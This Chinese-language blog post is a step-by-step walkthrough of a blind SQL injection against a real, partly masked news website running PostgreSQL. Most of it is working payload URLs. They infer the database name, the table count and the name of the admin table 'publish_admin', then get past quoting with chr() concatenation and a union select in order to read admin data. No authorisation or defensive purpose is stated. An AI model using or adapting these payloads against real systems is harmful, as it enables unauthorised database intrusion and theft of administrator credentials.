PostgreSQL盲注

首先查询注入点:

http://www.*****.com/news/detail_e.html?id=13072
http://www.*****.com/news/detail_e.html?id=13072 and 1=1 正常
http://www.*****.com/news/detail_e.html?id=13072 and 1=2 错误

工具判断注入的方法:

http://www.*****.com/news/detail_e.html?id=13072 aNd(6=6)  6=6  正确  
http://www.*****.com/news/detail_e.html?id=13072 aNd(6=7)  6=7  错误

猜字段数:

http://www.*****.com/news/detail_e.html?id=13072 order by 15--正常 
http://www.*****.com/news/detail_e.html?id=13072 order by 16-- 错误了

但是可悲的是union select 不可以用0.0
那么这样正常:

http://www.*****.com/news/detail_e.html?id=13072 and (select length(current_database())) between 0 and 30

意思是检测数据库的长度在是否在:between 0 and 30之间,是的话就返回正确,错误的话就返回错误
错误:

http://www.*****.com/news/detail_e.html?id=13072 and (select length(current_database())) between 0 and 7

说明数据库名的长度不在0-7之间
正常:

http://www.*****.com/news/detail_e.html?id=13072 and (select length(current_database())) between 7 and 11

正常:

/news/detail_e.html?id=13072 and (select length(current_database())) between 8 and 8

说明数据库名的长度为8 接下来我们来看看数据库名是什么
这两个正常

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 32768
http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 16384

这两个错误:

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 64 
http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 64 and 96

正常:

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 117 and 117

好我们猜到了数据库第一个字符的ascii只是:117
我们来猜第二个:

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),2,1))) between 0 and 32768

一直下去就能把数据库弄出来了、、、、
结果是:utokyodb
ok我们接下来的人物是猜出表名、、
我们先来看看有多少个表、、
看两个正常:

http://*****.com/news/detail_e.html?id=13072 and (select count(*) from pg_stat_user_tables) between 0 and 2000
http://*****.com/news/detail_e.html?id=13072 and (select count(*) from pg_stat_user_tables) between 20and 20

好我们有20个表、、、、
接下来我们来看看、、表是什么

http://www.*****.com/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 128

这句话的意思是看看第一个表的长度是多少

http://www.*****.com/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 64  
http://www.*****.com/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 19 and 19

这两句说明第一个表的长度为:19
我们接下来看看第一个表的内容是什么

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 32768 
http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 112 and 120

一样的方法下去我们就能猜到我们的表了、、、只要改变(select ascii(substr(relname,1,1))第一个1为2
就是说第一个表的第二个字母的内容了即(select ascii(substr(relname,2,1))

好我们来看第二个表的内容是什么
正常:

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 1) between 112 and 120

这一切和查看第一个表的第一个字母的不同点是什么??

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 112 and 120

没错,我们只要把 OFFSET 0 改为 OFFSET 1即可
结果我们得到了我们想要的管理表为:publish_admin
好接下来我们来看看字段是什么、、、先来构造下语句、、
得到/*得到表名为xxx的oid值*/

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(oid,1,1)) from pg_class where relname='publish_admin' limit 1 OFFSET 0) between 0 and 32768

显示错误、、、、、可能oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(cast(oid+as+varchar(10)),1,1)) from pg_class where relname='publish_admin' limit 1 OFFSET 0) between 0 and 3276811
http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name=$publish_admin$ limit 1 OFFSET 0) between 0 and 120

还是错误、、醉了

http://www.*****.com/news/detail_e.html?id=13072 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name=0x7075626C6973685F61646D696E limit 1 OFFSET 0) between 0 and 120

语句我们是对的

http://www.*****.com/news/detail_e.html?id=13072+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name= publish_admin +between+0+and+256

但是为什么回出错呢??在百思不得其解中,我想到了不是有工具吗???我们用工具抓包下 看看 人家的是什么语句

http://www.*****.com/news/detail_e.html?id=13072+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(100)||chr(109)||chr(105)||chr(110)+limit+1+OFFSET+1)+between+0+and+256

正确、、、、、、醉了、、、、大家看大没、、、、
table_name= publish_admin
table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(100)||chr(109)||chr(105)||chr(110)

绕过去了、、出来了 、、 这就是爆字段的语句、、、
我们来继续看看 怎么爆、、字段的内容、、、其实还是可以这样的:

http://www.*****.com/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),null,version(),version(),version(),null,null,version(),version(),column_name+from+information_schema.columns+where+table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(100)||chr(109)||chr(105)||chr(110)+limit+1+offset+0+--+

不过最后还是搞定~~

http://www.*****.com/news/detail_e.html?id=13072+and+(select+ascii(substr(rank,1,1))+from+publish_admin+limit+1+OFFSET+0)+between+0+and+236
文 / Aex
loading